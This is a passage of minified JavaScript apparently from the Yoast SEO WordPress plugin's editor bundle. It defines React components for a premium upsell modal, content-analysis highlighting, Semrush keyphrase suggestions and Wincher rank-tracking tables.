	}
`,window.wp.url),Ie=R().div`
  padding: 25px 32px 32px;
  color: #303030;
`,Se=R().ul`
  margin: 0;
  padding: 0;

  li {
    list-style-image: var(--yoast-svg-icon-check);
    margin: 0.5rem 0 0 1.5rem;
    line-height: 1.4em;

    &::marker {
      font-size: 1.5rem;
    }
  }
`,Te=R().span`
  display: block;
  margin-top: 4px;
`,Le=R().h2`
  margin-top: 0;
  margin-bottom: 0.25rem;
  color: #303030;
  font-size: 0.8125rem;
  font-weight: 600;
`,Ce=R().p`
  display: block;
  margin: 0.25rem 0 1rem 0 !important;
  max-width: 420px;
`,qe=R().hr`
  margin-top: 1.5rem;
  margin-bottom: 1rem;
  border-top: 0;
  border-bottom: 1px solid #E2E8F0;
`,Pe=R().div`
  text-align: center;
`,Ae=R().a`
  width: 100%;
`,Oe=(0,S.makeOutboundLink)(Ae);class Fe extends v.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(e){return e.length>0&&(0,k.createElement)(Se,{role:"list"},e.map(((e,t)=>(0,k.createElement)("li",{key:`upsell-benefit-${t}`},(0,v.createInterpolateElement)(e,{strong:(0,k.createElement)("strong",null)})))))}render(){const e=(0,me.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:t}=this.state,s=e?"69.30":null,r=s||t;return(0,k.createElement)(v.Fragment,null,e&&(0,k.createElement)("div",{className:"yst-flex  yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,k.createElement)("div",{className:"yst-mx-auto"},(0,d.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,k.createElement)(Ie,null,(0,k.createElement)(Le,null,this.props.title),(0,k.createElement)(Ce,null,this.props.description),(0,k.createElement)(Pe,null,(0,k.createElement)(Oe,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,k.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,k.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},s&&(0,k.createElement)(v.Fragment,null,(0,k.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},t)," "),(0,k.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},r)," ",(0,d.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,k.createElement)(Te,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,k.createElement)(qe,null),(0,k.createElement)(Le,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}Fe.propTypes={title:_().node,benefits:_().array,benefitsTitle:_().node,description:_().node,upsellButton:_().object,upsellButtonText:_().string.isRequired,upsellButtonLabel:_().string,upsellButtonHasCaret:_().bool},Fe.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const Ne=Fe,Be=(0,d.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Me=e=>{const{locationContext:t}=(0,i.useRootContext)(),s=(0,_e.addQueryArgs)(wpseoAdminL10n[e.buyLink],{context:t});return(0,k.createElement)(Ne,{title:(0,d.__)("Get more help with writing content that ranks","wordpress-seo"),description:e.description,benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,d.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:[(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,d.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,d.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],upsellButtonText:(0,d.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,d.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:s,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,d.__)("1 year of premium support and updates included!","wordpress-seo")})};Me.propTypes={buyLink:_().string.isRequired,description:_().string},Me.defaultProps={description:Be};const Ke=Me;class De extends v.Component{constructor(e){super(e);const t=this.props.results;this.state={mappedResults:{}},null!==t&&(this.state={mappedResults:U(t,this.props.keywordKey)}),this.handleMarkButtonClick=this.handleMarkButtonClick.bind(this),this.handleEditButtonClick=this.handleEditButtonClick.bind(this),this.handleResultsChange=this.handleResultsChange.bind(this),this.renderHighlightingUpsell=this.renderHighlightingUpsell.bind(this),this.createMarkButton=this.createMarkButton.bind(this)}componentDidUpdate(e){null!==this.props.results&&this.props.results!==e.results&&this.setState({mappedResults:U(this.props.results,this.props.keywordKey)})}createMarkButton({ariaLabel:e,id:t,className:s,status:r,onClick:n,isPressed:o}){return(0,k.createElement)(v.Fragment,null,(0,k.createElement)(I.IconButtonToggle,{marksButtonStatus:r,className:s,onClick:n,id:t,icon:"eye",pressed:o,ariaLabel:e}),this.props.shouldUpsellHighlighting&&(0,k.createElement)("div",{className:"yst-root"},(0,k.createElement)(Ee.Badge,{className:"yst-absolute yst-px-[3px] yst-py-[3px] yst--right-[6.5px] yst--top-[6.5px]",size:"small",variant:"upsell"},(0,k.createElement)(Re,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",role:"img","aria-hidden":!0,focusable:!1}))))}deactivateMarker(){this.props.setActiveMarker(null),this.props.setMarkerPauseStatus(!1),this.removeMarkers()}activateMarker(e,t){this.props.setActiveMarker(e),t()}handleMarkButtonClick(e,t){const s=this.props.keywordKey.length>0?`${this.props.keywordKey}:${e}`:e;this.props.activeAIFixesButton&&this.props.setActiveAIFixesButton(null),s===this.props.activeMarker?this.deactivateMarker():this.activateMarker(s,t)}handleResultsChange(e,t,s){const r=this.props.keywordKey.length>0?`${this.props.keywordKey}:${e}`:e;r===this.props.activeMarker&&(s?(0,c.isUndefined)(t)||this.activateMarker(r,t):this.deactivateMarker())}focusOnKeyphraseField(e){const t=this.props.keywordKey,s=""===t?"focus-keyword-input-"+e:"yoast-keyword-input-"+t+"-"+e,r=document.getElementById(s);r.focus(),r.scrollIntoView({behavior:"auto",block:"center",inline:"center"})}focusOnGooglePreviewField(e,t){let s;s="metaDescriptionKeyword"===e||"metaDescriptionLength"===e?"description":"titleWidth"===e||"keyphraseInSEOTitle"===e?"title":"slug";const r=document.getElementById("yoast-google-preview-"+s+"-"+t);r.focus(),r.scrollIntoView({behavior:"auto",block:"center",inline:"center"})}handleEditButtonClick(e){const t=this.props.location;"functionWordsInKeyphrase"!==e&&"keyphraseLength"!==e?(["metaDescriptionKeyword","metaDescriptionLength","titleWidth","keyphraseInSEOTitle","slugKeyword"].includes(e)&&this.handleGooglePreviewFocus(t,e),(0,h.doAction)("yoast.focus.input",e)):this.focusOnKeyphraseField(t)}handleGooglePreviewFocus(e,t){if("sidebar"===e)document.getElementById("yoast-search-appearance-modal-open-button").click(),setTimeout((()=>this.focusOnGooglePreviewField(t,"modal")),500);else{const s=document.getElementById("yoast-snippet-editor-metabox");s&&"false"===s.getAttribute("aria-expanded")?(s.click(),setTimeout((()=>this.focusOnGooglePreviewField(t,e)),100)):this.focusOnGooglePreviewField(t,e)}}removeMarkers(){window.YoastSEO.analysis.applyMarks(new p.Paper("",{}),[])}renderHighlightingUpsell(e,t){const s=(0,d.__)("Highlight areas of improvement in your text, no more searching for a needle in a haystack, straight to optimizing! Now also in Elementor!","wordpress-seo");return e&&(0,k.createElement)(J,{title:(0,d.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:t,additionalClassName:"",className:`${X} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-highlighting-modal",shouldCloseOnClickOutside:!0},(0,k.createElement)(xe,null,(0,k.createElement)(Ke,{buyLink:this.props.highlightingUpsellLink,description:s})))}render(){const{mappedResults:e}=this.state,{errorsResults:t,improvementsResults:s,goodResults:r,considerationsResults:n,problemsResults:o}=e,{upsellResults:a,resultCategoryLabels:i}=this.props,l={errors:(0,d.__)("Errors","wordpress-seo"),problems:(0,d.__)("Problems","wordpress-seo"),improvements:(0,d.__)("Improvements","wordpress-seo"),considerations:(0,d.__)("Considerations","wordpress-seo"),goodResults:(0,d.__)("Good results","wordpress-seo")},c=Object.assign(l,i);let u=this.props.marksButtonStatus;return"enabled"===u&&this.props.shortcodesForParsing.length>0&&(u="disabled"),(0,k.createElement)(v.Fragment,null,(0,k.createElement)(ve.ContentAnalysis,{errorsResults:t,problemsResults:o,upsellResults:a,improvementsResults:s,considerationsResults:n,goodResults:r,activeMarker:this.props.activeMarker,onMarkButtonClick:this.handleMarkButtonClick,onEditButtonClick:this.handleEditButtonClick,marksButtonClassName:this.props.marksButtonClassName,editButtonClassName:this.props.editButtonClassName,marksButtonStatus:u,headingLevel:3,keywordKey:this.props.keywordKey,isPremium:this.props.isPremium,resultCategoryLabels:c,onResultChange:this.handleResultsChange,shouldUpsellHighlighting:this.props.shouldUpsellHighlighting,renderAIFixesButton:this.props.renderAIFixesButton,renderHighlightingUpsell:this.renderHighlightingUpsell,markButtonFactory:this.createMarkButton}))}}De.propTypes={results:_().array,upsellResults:_().array,marksButtonClassName:_().string,editButtonClassName:_().string,marksButtonStatus:_().oneOf(["enabled","disabled","hidden"]),setActiveMarker:_().func.isRequired,setMarkerPauseStatus:_().func.isRequired,setActiveAIFixesButton:_().func.isRequired,activeMarker:_().string,activeAIFixesButton:_().string,keywordKey:_().string,location:_().string,isPremium:_().bool,resultCategoryLabels:_().shape({errors:_().string,problems:_().string,improvements:_().string,considerations:_().string,goodResults:_().string}),shortcodesForParsing:_().array,shouldUpsellHighlighting:_().bool,highlightingUpsellLink:_().string,renderAIFixesButton:_().func},De.defaultProps={results:null,upsellResults:[],marksButtonStatus:"enabled",marksButtonClassName:"",editButtonClassName:"",activeMarker:null,activeAIFixesButton:null,keywordKey:"",location:"",isPremium:!1,resultCategoryLabels:{},shortcodesForParsing:[],shouldUpsellHighlighting:!1,highlightingUpsellLink:"",renderAIFixesButton:()=>{}};const $e=De,We=(0,he.compose)([(0,me.withSelect)((e=>{const{getActiveMarker:t,getIsPremium:s,getShortcodesForParsing:r,getActiveAIFixesButton:n}=e("yoast-seo/editor");return{activeMarker:t(),isPremium:s(),shortcodesForParsing:r(),activeAIFixesButton:n()}})),(0,me.withDispatch)((e=>{const{setActiveMarker:t,setMarkerPauseStatus:s,setActiveAIFixesButton:r}=e("yoast-seo/editor");return{setActiveMarker:t,setMarkerPauseStatus:s,setActiveAIFixesButton:r}}))])($e),je=window.yoast.relatedKeyphraseSuggestions,He=window.wp.apiFetch;var Ye=s.n(He);const ze=({countryCode:e,setCountry:t,newRequest:s,keyphrase:r,setRequestFailed:n,setNoResultsFound:o,setRequestSucceeded:a,setRequestLimitReached:i,response:l,lastRequestKeyphrase:c,userLocale:u})=>{const[d,p]=(0,v.useState)(e),h=(0,v.useCallback)((e=>{"error"in e&&(e.error.includes("TOTAL LIMIT EXCEEDED")?i():n(e))}),[i,n]),m=(0,v.useCallback)((async()=>{s(e,r),Ye()({path:"yoast/v1/semrush/country_code",method:"POST",data:{country_code:e}});const t=await Ye()({path:(0,_e.addQueryArgs)("/yoast/v1/semrush/related_keyphrases",{keyphrase:r,country_code:e})});if(200===t.status)return 0===t.results.rows.length?void o():(a(t),void p(e));h(t)}),[e,r,s]);return(0,v.useEffect)((()=>{l&&r===c||m()}),[]),(0,k.createElement)(je.CountrySelector,{countryCode:e,activeCountryCode:d,onChange:t,onClick:m,className:"yst-mb-4",userLocale:u})};ze.propTypes={keyphrase:_().string,countryCode:_().string,response:_().object,lastRequestKeyphrase:_().string,setCountry:_().func.isRequired,newRequest:_().func.isRequired,setNoResultsFound:_().func.isRequired,setRequestSucceeded:_().func.isRequired,setRequestLimitReached:_().func.isRequired,setRequestFailed:_().func.isRequired,userLocale:_().string},ze.defaultProps={keyphrase:"",countryCode:"us",response:{},lastRequestKeyphrase:"",userLocale:null};const Ue=ze;function Ve(e){const{requestLimitReached:t,isSuccess:s,response:r,requestHasData:n,relatedKeyphrases:o}=e;return t?"requestLimitReached":!s&&function(e){return!(0,c.isEmpty)(e)&&"error"in e}(r)?"requestFailed":n?function(e){return e&&e.length>=4}(o)?"maxRelatedKeyphrases":void 0:"requestEmpty"}function Ge(e){var t,s;const{response:r,lastRequestKeyphrase:n,keyphrase:o,newRequest:a,setCountry:i,renderAction:l,countryCode:c,requestLimitReached:u,setRequestFailed:d,setNoResultsFound:p,relatedKeyphrases:h,setRequestSucceeded:m,setRequestLimitReached:g,isPending:y,isRtl:f,isPremium:b,userLocale:w}=e;return(0,k.createElement)(Ee.Root,{context:{isRtl:f}},!u&&!b&&(0,k.createElement)(je.PremiumUpsell,{url:window.wpseoAdminL10n["shortlinks.semrush.premium_landing_page"],className:"yst-mb-4"}),!u&&(0,k.createElement)(Ue,{countryCode:c,setCountry:i,newRequest:a,keyphrase:o,setRequestFailed:d,setNoResultsFound:p,setRequestSucceeded:m,setRequestLimitReached:g,response:r,lastRequestKeyphrase:n,userLocale:w.split("_")[0]}),!y&&(0,k.createElement)(je.UserMessage,{variant:Ve(e),upsellLink:window.wpseoAdminL10n["shortlinks.semrush.prices"]}),(0,k.createElement)(je.KeyphrasesTable,{relatedKeyphrases:h,columnNames:null==r||null===(t=r.results)||void 0===t?void 0:t.columnNames,data:null==r||null===(s=r.results)||void 0===s?void 0:s.rows,isPending:y,renderButton:l,className:"yst-mt-4"}))}Ge.propTypes={keyphrase:_().string,relatedKeyphrases:_().array,renderAction:_().func,requestLimitReached:_().bool,countryCode:_().string.isRequired,setCountry:_().func.isRequired,newRequest:_().func.isRequired,setRequestSucceeded:_().func.isRequired,setRequestLimitReached:_().func.isRequired,setRequestFailed:_().func.isRequired,setNoResultsFound:_().func.isRequired,response:_().object,lastRequestKeyphrase:_().string,isRtl:_().bool,userLocale:_().string,isPending:_().bool,isPremium:_().bool},Ge.defaultProps={keyphrase:"",relatedKeyphrases:[],renderAction:null,requestLimitReached:!1,response:{},lastRequestKeyphrase:"",isRtl:!1,userLocale:"en_US",isPending:!1,isPremium:!1};const Qe=(0,he.compose)([(0,me.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushSelectedCountry:s,getSEMrushRequestLimitReached:r,getSEMrushRequestResponse:n,getSEMrushRequestIsSuccess:o,getSEMrushIsRequestPending:a,getSEMrushRequestHasData:i,getSEMrushRequestKeyphrase:l,getPreference:c,getIsPremium:u}=e("yoast-seo/editor");return{keyphrase:t(),countryCode:s(),requestLimitReached:r(),response:n(),isSuccess:o(),isPending:a(),requestHasData:i(),lastRequestKeyphrase:l(),isRtl:c("isRtl",!1),userLocale:c("userLocale","en_US"),isPremium:u()}})),(0,me.withDispatch)((e=>{const{setSEMrushChangeCountry:t,setSEMrushNewRequest:s,setSEMrushRequestSucceeded:r,setSEMrushRequestFailed:n,setSEMrushSetRequestLimitReached:o,setSEMrushNoResultsFound:a}=e("yoast-seo/editor");return{setCountry:e=>{t(e)},newRequest:(e,t)=>{s(e,t)},setRequestSucceeded:e=>{r(e)},setRequestFailed:e=>{n(e)},setRequestLimitReached:()=>{o()},setNoResultsFound:()=>{a()}}}))])(Ge),Xe=window.moment;var Ze=s.n(Xe),Je=s(6746);const et=(0,S.makeOutboundLink)(),tt=e=>{const t=(0,d.sprintf)(/* translators: %d expands to the amount of allowed keyphrases on a free account, %s expands to a link to Wincher plans. */
(0,d.__)("You've reached the maximum amount of %d keyphrases you can add to your Wincher account. If you wish to add more keyphrases, please %s.","wordpress-seo"),e.limit,"{{updateWincherPlanLink/}}");return(0,k.createElement)(I.Alert,{type:"error"},(0,Je.Z)({mixedString:t,components:{updateWincherPlanLink:(0,k.createElement)(et,{href:wpseoAdminGlobalL10n["links.wincher.pricing"]},(0,d.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,d.__)("upgrade your %s plan","wordpress-seo"),"Wincher"))}}))};tt.propTypes={limit:_().number},tt.defaultProps={limit:10};const st=tt,rt=()=>(0,k.createElement)(I.Alert,{type:"error"},(0,d.__)("Something went wrong while tracking the ranking position(s) of your page. Please try again later.","wordpress-seo"));async function nt(e,t,s,r=200){try{const n=await e();return!!n&&(n.status===r?t(n):s(n))}catch(e){console.error(e.message)}}async function ot(e){try{return await Ye()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}async function at(e){return(0,c.isArray)(e)||(e=[e]),await ot({path:"yoast/v1/wincher/keyphrases/track",method:"POST",data:{keyphrases:e}})}const it=R().p`
	color: ${T.colors.$color_pink_dark};
	font-size: 14px;
	font-weight: 700;
	margin: 13px 0 10px;
`,lt=R()(I.SvgIcon)`
	margin-right: 5px;
	vertical-align: middle;
`,ct=R().button`
	position: absolute;
	top: 9px;
	right: 9px;
	border: none;
    background: none;
    cursor: pointer;
`,ut=R().p`
	font-size: 13px;
	font-weight: 500;
	margin: 10px 0 13px;
`,dt=R().div`
	position: relative;
	background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
	border: 1px solid #C7C7C7;
	border-left: 4px solid${T.colors.$color_pink_dark};
	padding: 0 16px;
	margin-bottom: 1.5em;
`,pt=e=>{const[t,s]=(0,v.useState)(null);return(0,v.useEffect)((()=>{e&&!t&&async function(){return await ot({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>s(e)))}),[t]),t};pt.propTypes={limit:_().bool.isRequired};const ht=({limit:e,usage:t,isTitleShortened:s,isFreeAccount:r})=>{const n=(0,d.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,d.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),t,e),o=(0,d.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,d.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),t,e),a=r?n:o,i=(0,d.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,d.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),t,e),l=s?i:a;return(0,k.createElement)(it,null,s&&(0,k.createElement)(lt,{icon:"exclamation-triangle",color:T.colors.$color_pink_dark,size:"14px"}),l)};ht.propTypes={limit:_().number.isRequired,usage:_().number.isRequired,isTitleShortened:_().bool,isFreeAccount:_().bool};const mt=(0,S.makeOutboundLink)(),gt=({discount:e,months:t})=>{const s=(0,k.createElement)(mt,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,d.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,d.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!e||!t)return(0,k.createElement)(ut,null,s);const r=100*e,n=(0,d.sprintf)(
/* Translators: %1$s expands to upgrade account link.
   * %2$s expands to the upgrade discount value.
   * %3$s expands to the upgrade discount duration e.g. 2 months.
   */
(0,d.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",r+"%",t);return(0,k.createElement)(ut,null,(0,Je.Z)({mixedString:n,components:{wincherAccountUpgradeLink:s}}))};gt.propTypes={discount:_().number,months:_().number};const yt=({onClose:e,isTitleShortened:t,trackingInfo:s})=>{const r=(()=>{const[e,t]=(0,v.useState)(null);return(0,v.useEffect)((()=>{e||async function(){return await ot({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>t(e)))}),[e]),e})();if(null===s)return null;const{limit:n,usage:o}=s;if(!(n&&o/n>=.8))return null;const a=Boolean(null==r?void 0:r.discount);return(0,k.createElement)(dt,{isTitleShortened:t},e&&(0,k.createElement)(ct,{type:"button","aria-label":(0,d.__)("Close the upgrade callout","wordpress-seo"),onClick:e},(0,k.createElement)(I.SvgIcon,{icon:"times-circle",color:T.colors.$color_pink_dark,size:"14px"})),(0,k.createElement)(ht,{...s,isTitleShortened:t,isFreeAccount:a}),(0,k.createElement)(gt,{discount:null==r?void 0:r.discount,months:null==r?void 0:r.months}))};yt.propTypes={onClose:_().func,isTitleShortened:_().bool,trackingInfo:_().object};const ft=yt,bt=()=>(0,k.createElement)(I.Alert,{type:"success"},(0,d.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,d.__)("You have successfully connected to %s! You can now track the SEO performance for the keyphrase(s) of this page.","wordpress-seo"),"Wincher")),wt=()=>(0,k.createElement)(I.Alert,{type:"info"},(0,d.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,d.__)("%s is currently tracking the ranking position(s) of your page. This may take a few minutes. Please wait or check back later.","wordpress-seo"),"Wincher")),kt=({data:e,mapChartDataToTableData:t,dataTableCaption:s,dataTableHeaderLabels:r,isDataTableVisuallyHidden:n})=>e.length!==r.length?(0,k.createElement)("p",null,(0,d.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,k.createElement)("div",{className:n?"screen-reader-text":null},(0,k.createElement)("table",null,(0,k.createElement)("caption",null,s),(0,k.createElement)("thead",null,(0,k.createElement)("tr",null,r.map(((e,t)=>(0,k.createElement)("th",{key:t},e))))),(0,k.createElement)("tbody",null,(0,k.createElement)("tr",null,e.map(((e,s)=>(0,k.createElement)("td",{key:s},t(e.y))))))));kt.propTypes={data:_().arrayOf(_().shape({x:_().number,y:_().number})).isRequired,mapChartDataToTableData:_().func,dataTableCaption:_().string.isRequired,dataTableHeaderLabels:_().array.isRequired,isDataTableVisuallyHidden:_().bool},kt.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const vt=kt,Et=({data:e,width:t,height:s,fillColor:r,strokeColor:n,strokeWidth:o,className:a,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:c,isDataTableVisuallyHidden:u})=>{const d=Math.max(1,Math.max(...e.map((e=>e.x)))),p=Math.max(1,Math.max(...e.map((e=>e.y)))),h=s-o,m=e.map((e=>`${e.x/d*t},${h-e.y/p*h+o}`)).join(" "),g=`0,${h+o} `+m+` ${t},${h+o}`;return(0,k.createElement)(v.Fragment,null,(0,k.createElement)("svg",{width:t,height:s,viewBox:`0 0 ${t} ${s}`,className:a,role:"img","aria-hidden":"true",focusable:"false"},(0,k.createElement)("polygon",{fill:r,points:g}),(0,k.createElement)("polyline",{fill:"none",stroke:n,strokeWidth:o,strokeLinejoin:"round",strokeLinecap:"round",points:m})),i&&(0,k.createElement)(vt,{data:e,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:c,isDataTableVisuallyHidden:u}))};Et.propTypes={data:_().arrayOf(_().shape({x:_().number,y:_().number})).isRequired,width:_().number.isRequired,height:_().number.isRequired,fillColor:_().string,strokeColor:_().string,strokeWidth:_().number,className:_().string,mapChartDataToTableData:_().func,dataTableCaption:_().string.isRequired,dataTableHeaderLabels:_().array.isRequired,isDataTableVisuallyHidden:_().bool},Et.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const Rt=Et,xt=()=>(0,k.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,d.__)("Tracking the ranking position...","wordpress-seo")," ",(0,k.createElement)(I.SvgIcon,{icon:"loading-spinner"})),_t=R()(I.SvgIcon)`
	margin-left: 2px;
	flex-shrink: 0;
	rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,It=R().span`
	color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	margin-right: 2px;
	margin-left: 12px;
`,St=R().td`
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,Tt=R().td`
	padding-left: 2px !important;
`,Lt=R().td.attrs({className:"yoast-table--nopadding"})`
	& > div {
		justify-content: center;
	}
`,Ct=R().div`
	display: flex;
	align-items: center;
	& > a {
		box-sizing: border-box;
	}
`,qt=R().button`
	background: none;
	color: inherit;
	border: none;
	padding: 0;
	font: inherit;
	cursor: pointer;
	outline: inherit;
    display: flex;
    align-items: center;
`,Pt=R().tr`
	background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function At(e){return Math.round(100*e)}function Ot({chartData:e}){if((0,c.isEmpty)(e)||(0,c.isEmpty)(e.position))return"?";const t=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,d.sprintf)((0,d._n)("%d day","%d days",e,"wordpress-seo"),e)))}(e),s=e.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,k.createElement)(Rt,{width:66,height:24,data:s,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:At,dataTableCaption:(0,d.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:t})}Ot.propTypes={chartData:_().object},Ot.defaultProps={chartData:{}};const Ft=({rowData:e})=>{var t;if(null==e||null===(t=e.position)||void 0===t||!t.change)return(0,k.createElement)(Ot,{chartData:e});const s=e.position.change<0;return(0,k.createElement)(v.Fragment,null,(0,k.createElement)(Ot,{chartData:e}),(0,k.createElement)(It,{isImproving:s},Math.abs(e.position.change)),(0,k.createElement)(_t,{icon:"caret-right",color:s?"#69AB56":"#DC3332",size:"14px",isImproving:s}))};function Nt(e){var t;const{keyphrase:s,rowData:r,onTrackKeyphrase:n,onUntrackKeyphrase:o,isFocusKeyphrase:a,isDisabled:i,isLoading:l,isSelected:u,onSelectKeyphrases:p}=e,h=!(0,c.isEmpty)(r),m=!(0,c.isEmpty)(null==r||null===(t=r.position)||void 0===t?void 0:t.history),g=(0,v.useCallback)((()=>{i||(h?o(s,r.id):n(s))}),[s,n,o,h,r,i]),y=(0,v.useCallback)((()=>{p((e=>u?e.filter((e=>e!==s)):e.concat(s)))}),[p,u,s]);return(0,k.createElement)(Pt,{isEnabled:h},(0,k.createElement)(St,null,m&&(0,k.createElement)(I.Checkbox,{id:"select-"+s,onChange:y,checked:u,label:""})),(0,k.createElement)(Tt,null,s,a&&(0,k.createElement)("span",null,"*")),function(e){const{rowData:t,websiteId:s,keyphrase:r,onSelectKeyphrases:n}=e,o=(0,v.useCallback)((()=>{n([r])}),[n,r]),a=!(0,c.isEmpty)(t),i=t&&t.updated_at&&Ze()(t.updated_at)>=Ze()().subtract(7,"days"),l=t?(0,d.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",s,t.id):null;return a?i?(0,k.createElement)(v.Fragment,null,(0,k.createElement)("td",null,(0,k.createElement)(Ct,null,function(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}(t),(0,k.createElement)(I.ButtonStyledLink,{variant:"secondary",href:l,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,d.__)("View","wordpress-seo")))),(0,k.createElement)("td",{className:"yoast-table--nopadding"},(0,k.createElement)(qt,{type:"button",onClick:o},(0,k.createElement)(Ft,{rowData:t}))),(0,k.createElement)("td",null,(u=t.updated_at,Ze()(u).fromNow()))):(0,k.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,k.createElement)(xt,null)):(0,k.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,k.createElement)("i",null,(0,d.__)("Activate tracking to show the ranking position","wordpress-seo")));var u}(e),(0,k.createElement)(Lt,null,function({keyphrase:e,isEnabled:t,toggleAction:s,isLoading:r}){return r?(0,k.createElement)(I.SvgIcon,{icon:"loading-spinner"}):(0,k.createElement)(I.Toggle,{id:`toggle-keyphrase-tracking-${e}`,className:"wincher-toggle",isEnabled:t,onSetToggleState:s,showToggleStateLabel:!1})}({keyphrase:s,isEnabled:h,toggleAction:g,isLoading:l})))}Ft.propTypes={rowData:_().object},Nt.propTypes={rowData:_().object,keyphrase:_().string.isRequired,onTrackKeyphrase:_().func,onUntrackKeyphrase:_().func,isFocusKeyphrase:_().bool,isDisabled:_().bool,isLoading:_().bool,websiteId:_().string,isSelected:_().bool.isRequired,onSelectKeyphrases:_().func.isRequired},Nt.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const Bt=(0,S.makeOutboundLink)(),Mt=R().span`
	display: block;
	font-style: italic;

	@media (min-width: 782px) {
		display: inline;
		position: absolute;
		${(0,S.getDirectionalStyle)("right","left")}: 8px;
	}
`,Kt=R().div`
	width: 100%;
	overflow-y: auto;
`,Dt=R().th`
	pointer-events: ${e=>e.isDisabled?"none":"initial"};
	padding-right: 0 !important;

